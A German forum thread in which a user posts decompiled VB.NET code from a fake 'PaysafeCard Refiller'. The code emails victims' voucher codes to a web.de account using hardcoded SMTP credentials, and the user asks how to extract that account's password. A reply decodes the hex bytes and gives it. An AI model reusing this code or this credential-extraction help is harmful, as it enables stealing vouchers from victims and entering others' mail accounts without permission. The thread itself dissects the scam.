1. #1
    Avatar von Gangstersheep
    Registriert seit
    18.11.2011
    Beiträge
    368
    Thanked 243 Times in 168 Posts

    Standard Wer kann mir helfen?

    Hallo!

    Und zwar folgendes:
    Ich bin gerade dabei sämtliche Programme dich bei YouTube finde ausseinander zu nehmen. ^^

    Habe nun bei einem Projekt ein Problem:

    Code:
            Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
                Dim password As String = Me.AscToString(New Object() { &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63 })
                If (((Me.ComboBox1.Text <> "25 " & ChrW(8364)) And (Me.ComboBox1.Text <> "50 " & ChrW(8364))) And (Me.ComboBox1.Text <> "100 " & ChrW(8364))) Then
                    Interaction.MsgBox("Invalid value", MsgBoxStyle.OkOnly, Nothing)
                ElseIf ((Me.TextBox1.Text = "") Or (Me.ComboBox1.Text = "")) Then
                    Interaction.MsgBox("Please fill in any needed information!", MsgBoxStyle.OkOnly, Nothing)
                Else
                    Me.Timer1.Start
                    Dim client As New SmtpClient("smtp.web.de") With { _
                        .EnableSsl = True, _
                        .Credentials = New NetworkCredential("*******@web.de", password), _
                        .Port = Conversions.ToInteger("587") _
                    }
                    Dim message As New MailMessage With { _
                        .Subject = Me.TextBox1.Text _
                    }
                    message.To.Add("*******@web.de")
                    message.From = New MailAddress("*******@web.de")
                    message.Body = ("Code: " & Me.TextBox1.Text & "passwort von *******@web.de : passwort131")
                    client.Send(message)
                    Interaction.MsgBox("Process completed! If the PaysafeCard code was valid your Paysafecard will be refilled in about 3h! If having any problems read the Help-Section. Please close the Refiller now!", MsgBoxStyle.OkOnly, "Information")
                End If
            End Sub
    Und zwar kriege ich das Passwort nicht raus. ^^
    In der Zeile

    Code:
     Dim password As String = Me.AscToString(New Object() { &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63, &H63 })
    wird password ja deklariert.
    Aber weiß einer wie ich nun ans Passwort ran komme? Bin am verzweifeln. Habe schon nach sämtlichen Zeug bei Google gesucht aber nichts gefunden.

    Hoffe mir kann jemand helfen.

    //Edit:

    Da steht zwar, dass das Passwort passwort131 sein soll aber das funktioniert nicht.
    Und das Programm ist erst vor ein paar Stunden veröffentlicht worden.

    Gruß.

  2. #2
    Avatar von Diebspiel
    Registriert seit
    18.11.2011
    Beiträge
    311
    Thanked 192 Times in 102 Posts

    Standard Wer kann mir helfen?

    Hey,

    Das Passwort lautet "cccccccccccc"

    Bye...

  3. #3
    Avatar von Gangstersheep
    Registriert seit
    18.11.2011
    Beiträge
    368
    Thanked 243 Times in 168 Posts

    Standard Wer kann mir helfen?

    Lol, danke!

    Kann geclosed werden. ^^

Ähnliche Themen

  1. [Kritik] Benutzer: helfen
    Von MC Phlegmatisch im Forum Feedback
    Antworten: 25
    Letzter Beitrag: 25.03.2012, 20:23
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.